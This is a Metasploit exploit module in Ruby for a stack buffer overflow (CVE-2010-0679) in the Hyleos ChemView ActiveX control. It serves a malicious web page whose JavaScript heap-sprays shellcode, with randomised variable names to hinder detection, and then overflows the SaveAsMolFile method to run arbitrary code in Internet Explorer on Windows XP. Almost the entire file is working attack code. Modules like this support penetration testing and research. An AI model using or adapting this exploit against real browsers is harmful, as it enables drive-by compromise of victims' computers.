133 lines
4.3 KiB
Ruby
133 lines
4.3 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GoodRanking # heap spray :-/
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Hyleos ChemView ActiveX Control Stack Buffer Overflow',
|
|
'Description' => %q{
|
|
This module exploits a stack-based buffer overflow within version 1.9.5.1 of Hyleos
|
|
ChemView (HyleosChemView.ocx). By calling the 'SaveAsMolFile' or 'ReadMolFile' methods
|
|
with an overly long first argument, an attacker can overrun a buffer and execute
|
|
arbitrary code.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Paul Craig <paul.craig[at]security-assessment.com>', # original discovery/advisory
|
|
'Dz_attacker <dz_attacker[at]hotmail.fr>', # original file format module
|
|
'jduck' # converted HttpServer module
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '2010-0679' ],
|
|
[ 'OSVDB', '62276' ],
|
|
[ 'URL', 'http://www.security-assessment.com/files/advisories/2010-02-11_ChemviewX_Activex.pdf' ],
|
|
[ 'EDB', '11422' ]
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
'StackAdjustment' => -3500,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0A0A0a0A, 'Offset' => 150 } ]
|
|
],
|
|
'DisclosureDate' => 'Feb 10 2010',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
def autofilter
|
|
false
|
|
end
|
|
|
|
def check_dependencies
|
|
use_zlib
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
clsid = "C372350A-1D5A-44DC-A759-767FC553D96C"
|
|
progid = "HyleosChemView.HLChemView"
|
|
|
|
methods = [ "ReadMolFile", "SaveAsMolFile" ]
|
|
method = methods[rand(methods.length)]
|
|
method = "SaveAsMolFile"
|
|
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# It may be possible to create a more robust exploit, however --
|
|
# 1. The control's base address has been shown to vary (seen at 0x1c90000 and 0x1d90000)
|
|
# 2. The buffer overflow does not appear to be entirely straight forward.
|
|
|
|
# Encode the shellcode
|
|
shellcode = Rex::Text.to_unescape(p.encoded, Rex::Arch.endian(target.arch))
|
|
|
|
# Setup exploit buffers
|
|
nops = Rex::Text.to_unescape([target.ret].pack('V'))
|
|
ret = Rex::Text.uri_encode([target.ret].pack('L'))
|
|
blocksize = 0x40000
|
|
fillto = 300
|
|
offset = target['Offset']
|
|
|
|
# Randomize the javascript variable names
|
|
chemview = rand_text_alpha(rand(100) + 1)
|
|
j_shellcode = rand_text_alpha(rand(100) + 1)
|
|
j_nops = rand_text_alpha(rand(100) + 1)
|
|
j_ret = rand_text_alpha(rand(100) + 1)
|
|
j_headersize = rand_text_alpha(rand(100) + 1)
|
|
j_slackspace = rand_text_alpha(rand(100) + 1)
|
|
j_fillblock = rand_text_alpha(rand(100) + 1)
|
|
j_block = rand_text_alpha(rand(100) + 1)
|
|
j_memory = rand_text_alpha(rand(100) + 1)
|
|
j_counter = rand_text_alpha(rand(30) + 2)
|
|
|
|
content = %Q|<html>
|
|
<object classid='clsid:#{clsid}' id='#{chemview}'></object>
|
|
<script>
|
|
#{j_shellcode}=unescape('#{shellcode}');
|
|
#{j_nops}=unescape('#{nops}');
|
|
#{j_headersize}=20;
|
|
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;
|
|
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};
|
|
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});
|
|
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});
|
|
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};
|
|
#{j_memory}=new Array();
|
|
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};
|
|
|
|
var #{j_ret}='';
|
|
for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{ret}');
|
|
#{chemview}.#{method}(#{j_ret});
|
|
</script>
|
|
</html>|
|
|
|
|
|
|
print_status("Sending #{self.name}")
|
|
|
|
# Transmit the response to the client
|
|
send_response_html(cli, content)
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|